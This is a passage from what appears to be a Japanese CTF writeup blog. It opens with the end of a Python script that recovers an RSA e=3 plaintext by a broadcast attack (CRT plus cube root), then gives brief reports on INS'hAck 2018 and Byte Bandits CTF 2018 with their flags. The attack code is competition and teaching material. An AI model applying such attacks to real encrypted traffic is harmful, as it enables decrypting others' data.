        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1

def inv_pow(c, e):
    low = -1
    high = c+1
    while low + 1 < high:
        m = (low + high) // 2
        p = pow(m, e)
        if p < c:
            low = m
        else:
            high = m
    m = high
    if pow(m, e) != c:
        return 0
    return m

N1 = 0xbc4ec2b74d85fb57ec07f538b59987c1150042ef76178b7af6dc09ca139dc8570226fe0317f3b73e8f98de38eb03a986496431d8526be4e65d47d86130a4370348b8a8dbba80d922f4dbac31b95f1028baac1ba8f8cab00d6e362c761da0dece81a700b92a5c1d79ec50451b3147805123e92f424d422d688ab020280d35384f
N2 = 0xd83a59170679b7d8b2199e98656717c515e06e44e65b5f7b687e4fec6d21a7e6e75ecbcf208202f210ef8e29a7ad44ab72914b1f35d502f6d7f657e5512d4b989773515cbc046ca3ffef37f3090548ac1086d96c96fe7edb9bdeb58ba635fa1582da4a85357105293139c8152d70c2ec5ec667bb91197c353cd6aafac73476df
N3 = 0xc39ab84fbf6709048427c05dbd303f0ba2f90ecdd51a809f1d8da9df0546a771e982a6bccb299c4bf12d1b0b11df88b0627563d726bb70c5121cb5722c75e35b54e6d43d09443738fe3ac8e5a8bb74b1667ddf6592359d9fc65a05a32b98a50c52f1339ed8b5fab5616d52d81a11579a83fc33e069c4d9cfb93b24d752937ced
N = [N1, N2, N3]

e = 3

c = [
0x10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee65,
0x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965,
0x10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa65,
0x10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee65,
0x10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d3165,
0x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965,
0x10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d3165,
0x10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e065,
0x10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa65,
0x10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee65,
0x10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e065,
0x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965,
0x10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d1665,
0x10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d1665,
0x10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee65]

i = 0
for elm in itertools.permutations(c, 3):
    error = False
    C = [elm[0], elm[1], elm[2]]
    a = chinese_remainder(N, C)
    for n, c in zip(N, C):
        if a % n != c:
            error = True
            break
    if error == False:
        m = inv_pow(a, e)
        if m != 0:
            flag = ('%x' % m).decode('hex')
            print flag
            break
flag{wh00ps_srry_4_br0adcast}

INS'hAck 2018 参戦

この大会は2018/4/6 1:30(JST)~2018/4/9 1:30(JST)に開催されました。
今回もチームで参戦。結果は973点で553チーム中32位でした。
今回は自分が得点した問題は1問もありませんでした。
暗号の問題は1問は解きたかったので、残念です。

Byte Bandits CTF 2018 Writeup

この大会は2018/4/7 16:30(JST)~2018/4/8 16:30(JST)に開催されました。
今回もチームで参戦。結果は1051点で174チーム中9位でした。
自分で解けた問題は参加表明問題だけでしたが、Writeupとして書いておきます。

Greetings (misc 1)

freenodeで#BBCTFチェネルに入る。

06:33 *topic : Welcome to ByteBandits CTF https://ctf.euristica.in https://twitter.com/BanditsByte  flag{W3lc0me_t0_BBCTF_H4ve_a_nic3_5taY}
flag{W3lc0me_t0_BBCTF_H4ve_a_nic3_5taY}